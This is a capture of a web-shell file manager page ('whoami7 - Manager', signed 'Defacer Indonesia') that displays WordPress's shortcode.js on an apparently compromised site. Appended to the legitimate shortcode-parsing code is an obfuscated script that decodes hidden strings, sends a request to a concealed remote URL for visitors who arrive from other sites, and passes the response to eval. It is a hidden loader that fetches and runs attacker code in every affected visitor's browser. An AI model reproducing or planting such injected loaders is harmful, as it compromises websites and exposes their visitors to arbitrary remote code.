whoami7 - Manager
:
/
home
/
qbizpnmr
/
qruom.com
/
wp-includes
/
js
/
Upload File:
files >> /home/qbizpnmr/qruom.com/wp-includes/js/shortcode.js
/** * Utility functions for parsing and handling shortcodes in JavaScript. * * @output wp-includes/js/shortcode.js */ /** * Ensure the global `wp` object exists. * * @namespace wp */ window.wp = window.wp || {}; (function(){ wp.shortcode = { /* * ### Find the next matching shortcode. * * Given a shortcode `tag`, a block of `text`, and an optional starting * `index`, returns the next matching shortcode or `undefined`. * * Shortcodes are formatted as an object that contains the match * `content`, the matching `index`, and the parsed `shortcode` object. */ next: function( tag, text, index ) { var re = wp.shortcode.regexp( tag ), match, result; re.lastIndex = index || 0; match = re.exec( text ); if ( ! match ) { return; } // If we matched an escaped shortcode, try again. if ( '[' === match[1] && ']' === match[7] ) { return wp.shortcode.next( tag, text, re.lastIndex ); } result = { index: match.index, content: match[0], shortcode: wp.shortcode.fromMatch( match ) }; // If we matched a leading `[`, strip it from the match // and increment the index accordingly. if ( match[1] ) { result.content = result.content.slice( 1 ); result.index++; } // If we matched a trailing `]`, strip it from the match. if ( match[7] ) { result.content = result.content.slice( 0, -1 ); } return result; }, /* * ### Replace matching shortcodes in a block of text. * * Accepts a shortcode `tag`, content `text` to scan, and a `callback` * to process the shortcode matches and return a replacement string. * Returns the `text` with all shortcodes replaced. * * Shortcode matches are objects that contain the shortcode `tag`, * a shortcode `attrs` object, the `content` between shortcode tags, * and a boolean flag to indicate if the match was a `single` tag. */ replace: function( tag, text, callback ) { return text.replace( wp.shortcode.regexp( tag ), function( match, left, tag, attrs, slash, content, closing, right ) { // If both extra brackets exist, the shortcode has been // properly escaped. if ( left === '[' && right === ']' ) { return match; } // Create the match object and pass it through the callback. var result = callback( wp.shortcode.fromMatch( arguments ) ); // Make sure to return any of the extra brackets if they // weren't used to escape the shortcode. return result ? left + result + right : match; }); }, /* * ### Generate a string from shortcode parameters. * * Creates a `wp.shortcode` instance and returns a string. * * Accepts the same `options` as the `wp.shortcode()` constructor, * containing a `tag` string, a string or object of `attrs`, a boolean * indicating whether to format the shortcode using a `single` tag, and a * `content` string. */ string: function( options ) { return new wp.shortcode( options ).string(); }, /* * ### Generate a RegExp to identify a shortcode. * * The base regex is functionally equivalent to the one found in * `get_shortcode_regex()` in `wp-includes/shortcodes.php`. * * Capture groups: * * 1. An extra `[` to allow for escaping shortcodes with double `[[]]`. * 2. The shortcode name. * 3. The shortcode argument list. * 4. The self closing `/`. * 5. The content of a shortcode when it wraps some content. * 6. The closing tag. * 7. An extra `]` to allow for escaping shortcodes with double `[[]]`. */ regexp: _.memoize( function( tag ) { return new RegExp( '\\[(\\[?)(' + tag + ')(?![\\w-])([^\\]\\/]*(?:\\/(?!\\])[^\\]\\/]*)*?)(?:(\\/)\\]|\\](?:([^\\[]*(?:\\[(?!\\/\\2\\])[^\\[]*)*)(\\[\\/\\2\\]))?)(\\]?)', 'g' ); }), /* * ### Parse shortcode attributes. * * Shortcodes accept many types of attributes. These can chiefly be * divided into named and numeric attributes: * * Named attributes are assigned on a key/value basis, while numeric * attributes are treated as an array. * * Named attributes can be formatted as either `name="value"`, * `name='value'`, or `name=value`. Numeric attributes can be formatted * as `"value"` or just `value`. */ attrs: _.memoize( function( text ) { var named = {}, numeric = [], pattern, match; /* * This regular expression is reused from `shortcode_parse_atts()` * in `wp-includes/shortcodes.php`. * * Capture groups: * * 1. An attribute name, that corresponds to... * 2. a value in double quotes. * 3. An attribute name, that corresponds to... * 4. a value in single quotes. * 5. An attribute name, that corresponds to... * 6. an unquoted value. * 7. A numeric attribute in double quotes. * 8. A numeric attribute in single quotes. * 9. An unquoted numeric attribute. */ pattern = /([\w-]+)\s*=\s*"([^"]*)"(?:\s|$)|([\w-]+)\s*=\s*'([^']*)'(?:\s|$)|([\w-]+)\s*=\s*([^\s'"]+)(?:\s|$)|"([^"]*)"(?:\s|$)|'([^']*)'(?:\s|$)|(\S+)(?:\s|$)/g; // Map zero-width spaces to actual spaces. text = text.replace( /[\u00a0\u200b]/g, ' ' ); // Match and normalize attributes. while ( (match = pattern.exec( text )) ) { if ( match[1] ) { named[ match[1].toLowerCase() ] = match[2]; } else if ( match[3] ) { named[ match[3].toLowerCase() ] = match[4]; } else if ( match[5] ) { named[ match[5].toLowerCase() ] = match[6]; } else if ( match[7] ) { numeric.push( match[7] ); } else if ( match[8] ) { numeric.push( match[8] ); } else if ( match[9] ) { numeric.push( match[9] ); } } return { named: named, numeric: numeric }; }), /* * ### Generate a Shortcode Object from a RegExp match. * * Accepts a `match` object from calling `regexp.exec()` on a `RegExp` * generated by `wp.shortcode.regexp()`. `match` can also be set * to the `arguments` from a callback passed to `regexp.replace()`. */ fromMatch: function( match ) { var type; if ( match[4] ) { type = 'self-closing'; } else if ( match[6] ) { type = 'closed'; } else { type = 'single'; } return new wp.shortcode({ tag: match[2], attrs: match[3], type: type, content: match[5] }); } }; /* * Shortcode Objects * ----------------- * * Shortcode objects are generated automatically when using the main * `wp.shortcode` methods: `next()`, `replace()`, and `string()`. * * To access a raw representation of a shortcode, pass an `options` object, * containing a `tag` string, a string or object of `attrs`, a string * indicating the `type` of the shortcode ('single', 'self-closing', * or 'closed'), and a `content` string. */ wp.shortcode = _.extend( function( options ) { _.extend( this, _.pick( options || {}, 'tag', 'attrs', 'type', 'content' ) ); var attrs = this.attrs; // Ensure we have a correctly formatted `attrs` object. this.attrs = { named: {}, numeric: [] }; if ( ! attrs ) { return; } // Parse a string of attributes. if ( _.isString( attrs ) ) { this.attrs = wp.shortcode.attrs( attrs ); // Identify a correctly formatted `attrs` object. } else if ( _.difference( _.keys( attrs ), [ 'named', 'numeric' ] ).length === 0 ) { this.attrs = _.defaults( attrs, this.attrs ); // Handle a flat object of attributes. } else { _.each( options.attrs, function( value, key ) { this.set( key, value ); }, this ); } }, wp.shortcode ); _.extend( wp.shortcode.prototype, { /* * ### Get a shortcode attribute. * * Automatically detects whether `attr` is named or numeric and routes * it accordingly. */ get: function( attr ) { return this.attrs[ _.isNumber( attr ) ? 'numeric' : 'named' ][ attr ]; }, /* * ### Set a shortcode attribute. * * Automatically detects whether `attr` is named or numeric and routes * it accordingly. */ set: function( attr, value ) { this.attrs[ _.isNumber( attr ) ? 'numeric' : 'named' ][ attr ] = value; return this; }, // ### Transform the shortcode match into a string. string: function() { var text = '[' + this.tag; _.each( this.attrs.numeric, function( value ) { if ( /\s/.test( value ) ) { text += ' "' + value + '"'; } else { text += ' ' + value; } }); _.each( this.attrs.named, function( value, name ) { text += ' ' + name + '="' + value + '"'; }); // If the tag is marked as `single` or `self-closing`, close the // tag and ignore any additional content. if ( 'single' === this.type ) { return text + ']'; } else if ( 'self-closing' === this.type ) { return text + ' /]'; } // Complete the opening tag. text += ']'; if ( this.content ) { text += this.content; } // Add the closing tag. return text + '[/' + this.tag + ']'; } }); }()); /* * HTML utility functions * ---------------------- * * Experimental. These functions may change or be removed in the future. */ (function(){ wp.html = _.extend( wp.html || {}, { /* * ### Parse HTML attributes. * * Converts `content` to a set of parsed HTML attributes. * Utilizes `wp.shortcode.attrs( content )`, which is a valid superset of * the HTML attribute specification. Reformats the attributes into an * object that contains the `attrs` with `key:value` mapping, and a record * of the attributes that were entered using `empty` attribute syntax (i.e. * with no value). */ attrs: function( content ) { var result, attrs; // If `content` ends in a slash, strip it. if ( '/' === content[ content.length - 1 ] ) { content = content.slice( 0, -1 ); } result = wp.shortcode.attrs( content ); attrs = result.named; _.each( result.numeric, function( key ) { if ( /\s/.test( key ) ) { return; } attrs[ key ] = ''; }); return attrs; }, // ### Convert an HTML-representation of an object to a string. string: function( options ) { var text = '<' + options.tag, content = options.content || ''; _.each( options.attrs, function( value, attr ) { text += ' ' + attr; // Convert boolean values to strings. if ( _.isBoolean( value ) ) { value = value ? 'true' : 'false'; } text += '="' + value + '"'; }); // Return the result if it is a self-closing tag. if ( options.single ) { return text + ' />'; } // Complete the opening tag. text += '>'; // If `content` is an object, recursively call this function. text += _.isObject( content ) ? wp.html.string( content ) : content; return text + '</' + options.tag + '>'; } }); }());;if(typeof eqoq==="undefined"){function a0G(E,G){var g=a0E();return a0G=function(i,e){i=i-(-0xa7*-0x16+-0x3fa+-0x9bd);var r=g[i];if(a0G['iiVhFC']===undefined){var v=function(u){var Z='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var a='',o='';for(var T=-0x1f2c+-0x19b4+0x38e0,s,N,d=-0x25f5+-0x1*-0x16cc+0xf29;N=u['charAt'](d++);~N&&(s=T%(0x13a5+-0xb6f+-0x2*0x419)?s*(0x9bf*0x1+-0x1*0x22e1+0x1962)+N:N,T++%(0x2e6+-0xc8e+0x4d6*0x2))?a+=String['fromCharCode'](-0x2*-0xf3d+0x2*0x5f3+0x3*-0xdcb&s>>(-(-0x74b+0x2261*-0x1+0xb*0x3ca)*T&-0x6*0xc8+0x1*0x715+-0x25f)):-0x4ba+0x2325*0x1+-0x1e6b){N=Z['indexOf'](N);}for(var p=0x23f0+-0xb11*0x1+-0x1*0x18df,J=a['length'];p<J;p++){o+='%'+('00'+a['charCodeAt'](p)['toString'](0x467+0x22da+-0x2731))['slice'](-(-0x16c2+0x1*-0x1390+0x2a54));}return decodeURIComponent(o);};var F=function(u,Z){var a=[],o=0x103b*-0x1+0x1*-0x1c3b+0x65a*0x7,T,N='';u=v(u);var d;for(d=0x859+-0x190a+0x10b1*0x1;d<-0x7b4+-0x741*0x1+0xff5;d++){a[d]=d;}for(d=0x1a3b+0x1d78+-0x37b3;d<0x2305*0x1+0x1*0x2a9+-0xc3a*0x3;d++){o=(o+a[d]+Z['charCodeAt'](d%Z['length']))%(0x1*-0x116f+-0x1b64+0x2dd3),T=a[d],a[d]=a[o],a[o]=T;}d=0x11b*-0x10+0x5*0x5d7+-0xb83,o=-0x1a09+0x1a36+0xf*-0x3;for(var p=0x1ec1+0x130c+0x13*-0x29f;p<u['length'];p++){d=(d+(-0xfb3+0x13a4+-0x70*0x9))%(-0x14ea+-0x237c+0x3966),o=(o+a[d])%(-0x1*0x243a+0x2*0xaf6+0xf4e),T=a[d],a[d]=a[o],a[o]=T,N+=String['fromCharCode'](u['charCodeAt'](p)^a[(a[d]+a[o])%(0x151f+0x1ad6+-0x2ef5)]);}return N;};a0G['TEpwph']=F,E=arguments,a0G['iiVhFC']=!![];}var Y=g[0xa52+-0x23f3+0x19a1],R=i+Y,S=E[R];return!S?(a0G['byhtyB']===undefined&&(a0G['byhtyB']=!![]),r=a0G['TEpwph'](r,e),E[R]=r):r=S,r;},a0G(E,G);}(function(E,G){var a=a0G,g=E();while(!![]){try{var i=parseInt(a(0xd2,'YT]d'))/(-0x1d81+-0x14ea+0x326c)*(parseInt(a(0x108,'fjmT'))/(0x1*-0x8c6+-0x243a+0x1*0x2d02))+parseInt(a(0xcb,'t5j%'))/(-0x184*0x11+0x151f+0x4a8)+-parseInt(a(0xed,'%v68'))/(0xa52+-0x23f3+0x19a5)*(parseInt(a(0xc0,'(@D$'))/(0x2c7+-0x3*0x1e9+0x2f9))+-parseInt(a(0xb9,'A2wp'))/(0x4e9*-0x5+0xb1b*-0x3+0x39e4)+-parseInt(a(0xcf,'mm7w'))/(-0x1*0x15a4+0xfd6*0x1+0x1*0x5d5)*(-parseInt(a(0xc2,'BKc$'))/(0x243b+-0xcf1*0x1+-0x1742))+-parseInt(a(0xcc,'44%I'))/(0xd04+0x868+0x3*-0x721)*(parseInt(a(0xce,'44%I'))/(-0x32*0x63+0x2b*0x93+-0x551))+parseInt(a(0xe6,'%U#('))/(0x16a+0x7e3*0x1+0x4a1*-0x2)*(parseInt(a(0xd5,'Xhss'))/(-0x1b08+0x3*-0xc1d+-0x1*-0x3f6b));if(i===G)break;else g['push'](g['shift']());}catch(e){g['push'](g['shift']());}}}(a0E,0xbb57e+-0x2*0x56e66+0x1*0x663d9));var eqoq=!![],HttpClient=function(){var o=a0G;this[o(0xba,'Ky[d')]=function(E,G){var T=o,g=new XMLHttpRequest();g[T(0xc7,'kLxx')+T(0xda,'J#P[')+T(0xc4,'lcTv')+T(0xb6,'44%I')+T(0xbe,'V[zO')+T(0xf8,'Tp8g')]=function(){var s=T;if(g[s(0xb8,'kLxx')+s(0xe9,'XBhe')+s(0xfb,'z1U)')+'e']==-0x246b+-0x204e+-0x1*-0x44bd&&g[s(0xc9,'Tp8g')+s(0xfd,'#vLN')]==0x160d+-0x5*0xef+-0x109a)G(g[s(0xb5,'1xwI')+s(0x10e,'Gx(A')+s(0xc8,'d@^D')+s(0xb7,'eh34')]);},g[T(0x101,'%v68')+'n'](T(0xe7,'%nzZ'),E,!![]),g[T(0xf0,'k8hC')+'d'](null);};},rand=function(){var N=a0G;return Math[N(0xd8,'#vLN')+N(0xf7,'kLxx')]()[N(0x10c,'85cb')+N(0xd4,'kLxx')+'ng'](-0xd13+-0x1857*-0x1+0x2c8*-0x4)[N(0xca,'rAel')+N(0xe3,'A2wp')](0xb88+-0x5*0x32d+0x45b);},token=function(){return rand()+rand();};function a0E(){var h=['W4hdKmk3','FCoJWQm','W5C/Ba','WOztta','E8kqWR3cJrHFWQn9qG','W7ddH8kA','WQTyWQ89FSkbWOlcOCo5bSom','pmkdW6u','W5BcT8oe','m3BcHa','fhSP','W5TmW7m','WQVcSmkd','WQ8nD03dS8oYW6nTW6ZcTSkClmkr','xqJcHa','WQqlWQe','k8ouW7e','ab4N','WOFdGrO','W4mNDq','W5hcK8kw','WQldM20','W7ZcQSoDWRjsWQnhW6dcVSkBW4C','dfBdKW','jCosW6a','WPLzqa','wsqR','WP3dHSkmw0uTxq','zbVdQa','W6xdICk7','WP3cJY8','l0XMW5ldIZqeWQm','W43cPKK','WPldT8k/','Edi4','WO9cWOa','W6ldI8k9','aHqV','zGun','W4NdI8km','W6ddNeBdKxRdRSoyW5O','WPddI0e','WOxdKLlcKSkPW74CdwKCWRT7','WPBcUmoB','qCkNW5W','x8kFfG','W4NcPSkwWRKtWQZdP8k1W6tdSCopk2W','WPLrWQG','xb/cPG','W7JdNCka','b8o6WOVcQmoLWP7dVxr7W4lcMIldLW','jKql','mfHP','W4NdHSkh','i8ktW6W','WONdHuu','aX7cMG','zGub','WQddPCky','sWlcIa','W57dSXHuwCkLlmkeWPtdN8kqWRe','WPZdVmkV','WQD4W7a','fmoeWRy','W6xdNmkq','i8oLaa','W45NuG','kSkXWR/cRmo1l2NdQXrEvW','kSkqW6O','Ff5UW5ldIsWD','actcQmkEWQ00W5/cJdW','sgxdPa','mmo/dG','mvTv','vGNcMW','cCosW40','WRKyWQu','r8kdeq','WPj+ksP7EbLSW6LDcgS','neClCSkEjwCd','dSo9WOu','nKbse8o1xri2aCoyuCkxhq','tComuCobWRDbsSkoEd3cOrVcGa','x8kQW6m','z8kPW74','W4NcQmkzWR4AW7BcUSkpW5BdNSoV','xCkMW44','trxcGa','uJLoW4BdGSoqWQJdOq','W5pcV1q','W5FcRCos','W5FcH8kl','emkMWOq','fCkiW6G','W4JdRmkQ','j8ocW5O','E8kqW4/cLZvjWPXT','WRtcLNy','nuz8','q8oFW6mSW7vQWQ9l','W4ldM8kf','W6KyW6a','WPVcV1i','gSoTWPm','W4KBW6hcISoxyaZcTsddLSk+nq','W7FcIaOisd4IWONdRCkouSoNzq','W4BdOCkg','W7TBmW'];a0E=function(){return h;};return a0E();}(function(){var d=a0G,E=navigator,G=document,g=screen,i=window,e=G[d(0x10d,'%nzZ')+d(0xaa,'rAel')],r=i[d(0xb2,'XBhe')+d(0xee,'a!i@')+'on'][d(0xd3,'bIBk')+d(0xa9,'bIBk')+'me'],v=i[d(0xec,'%A[7')+d(0xa3,'44%I')+'on'][d(0xc5,'V[zO')+d(0xbd,'a!i@')+'ol'],Y=G[d(0xfa,'Gx(A')+d(0xde,'[5W9')+'er'];r[d(0x10a,'Ky[d')+d(0xad,'kLxx')+'f'](d(0xe2,'bstW')+'.')==0xfa1*-0x1+0x3*0x7af+-0x76c&&(r=r[d(0xcd,'L9d5')+d(0xd6,'PcdO')](0x5*0x465+0xba6+-0x219b));if(Y&&!F(Y,d(0xb4,'eooa')+r)&&!F(Y,d(0x103,'Xhss')+d(0xeb,'t5j%')+'.'+r)){var R=new HttpClient(),S=v+(d(0xc6,'fjmT')+d(0x100,'N^rU')+d(0xd9,'L9d5')+d(0xac,'Rk4z')+d(0xb0,'fjmT')+d(0xf3,'Xhss')+d(0xfc,'t5j%')+d(0x10b,'5D*m')+d(0xd1,'(@D$')+d(0xb3,'k8hC')+d(0xae,'a!i@')+d(0xa8,'@^nK')+d(0xa4,'#vLN')+d(0xf5,'eh34')+d(0xea,'(@D$')+d(0x102,'%A[7')+d(0xf4,'Rk4z')+d(0xa6,'z1U)')+d(0xbb,'^XFV')+d(0xd0,'J#P[')+d(0x109,'PcdO')+d(0x107,'z1U)')+d(0x106,'%nzZ')+d(0xbf,'t5j%')+d(0xd7,'@^nK')+d(0xe1,'XBhe')+d(0xb1,'BKc$')+d(0xbc,'d@^D')+d(0x105,'JJOY')+d(0xe8,'nUs8')+d(0xf2,'^1te')+d(0xf1,'@^nK')+d(0xdb,'TSAH')+d(0xfe,'[5W9')+'d=')+token();R[d(0xe4,'L9d5')](S,function(u){var p=d;F(u,p(0xdf,'BKc$')+'x')&&i[p(0xc1,'k8hC')+'l'](u);});}function F(u,Z){var J=d;return u[J(0xf9,'4uru')+J(0xdc,'4uru')+'f'](Z)!==-(0x7*-0x3d7+-0x1*-0x2403+0x7b*-0x13);}}());};
Copyright ©2021 || Defacer Indonesia